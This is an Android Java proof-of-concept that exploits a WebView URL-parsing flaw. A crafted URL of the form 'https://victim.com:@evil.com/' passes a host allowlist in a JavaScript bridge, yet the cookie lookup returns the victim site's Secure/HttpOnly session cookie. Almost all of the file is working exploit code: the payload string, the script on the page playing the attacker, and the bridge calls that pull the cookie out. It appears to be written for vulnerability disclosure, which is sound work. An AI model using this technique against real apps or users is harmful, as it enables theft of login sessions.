// Minimal Android Activity that reproduces the WebAddressParser host-confusion
// cookie theft. Build this into any APK that uses Android System WebView (the
// Chromium-backed implementation under test).
//
// Threat model (matches crbug.com/1247395, which this bypasses): the app
// exposes a JS bridge to CookieManager.getCookie() but validates the URL's
// host against an allowlist using a spec-compliant URL parser before calling
// through.

package com.example.cookiepoc;

import android.app.Activity;
import android.os.Bundle;
import android.util.Log;
import android.webkit.CookieManager;
import android.webkit.JavascriptInterface;
import android.webkit.WebView;

import java.net.URL;

public class MainActivity extends Activity {
    private static final String TAG = "CookiePoc";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        // Seed a victim cookie. In a real attack this would already exist from
        // a prior login in the same WebView profile. CookieManager.setCookie()
        // happily stores Secure/HttpOnly cookies via this programmatic API.
        CookieManager.getInstance().setCookie(
                "https://victim.com/", "session=TOP_SECRET; Secure; HttpOnly");

        WebView wv = new WebView(this);
        wv.getSettings().setJavaScriptEnabled(true);
        wv.addJavascriptInterface(new Bridge(), "Bridge");
        setContentView(wv);

        // In a real attack the WebView would be navigated to attacker-
        // controlled content on evil.com. We inline it here for a
        // self-contained repro.
        String attackerPage =
                "<script>\n"
              + "  var u = 'https://victim.com:@evil.com/';\n"
              + "  var c = Bridge.getCookie(u);\n"
              + "  document.title = 'stolen=' + c;\n"
              + "  Bridge.report(u, c);\n"
              + "</script>";
        wv.loadDataWithBaseURL("https://evil.com/", attackerPage,
                "text/html", "utf-8", null);
    }

    public class Bridge {
        @JavascriptInterface
        public String getCookie(String url) {
            try {
                // Spec-compliant validation: only allow cookies for evil.com.
                String host = new URL(url).getHost();
                Log.e(TAG, "validator host = " + host);
                if (!"evil.com".equals(host)) {
                    return "<blocked: host=" + host + ">";
                }
            } catch (Exception e) {
                return "<blocked: " + e + ">";
            }
            // Passes validation -> calls into CookieManagerAdapter.getCookie()
            // -> fixupUrl() -> WebAddressParser rewrites to
            //    https://victim.com/@evil.com/
            // -> native CookieManager queries GURL host = victim.com.
            return CookieManager.getInstance().getCookie(url);
        }

        @JavascriptInterface
        public void report(String url, String cookies) {
            Log.e(TAG, "URL passed to bridge:  " + url);
            Log.e(TAG, "Cookies returned:      " + cookies);
            // EXPECTED on a vulnerable build:
            //   Cookies returned: session=TOP_SECRET
        }
    }
}
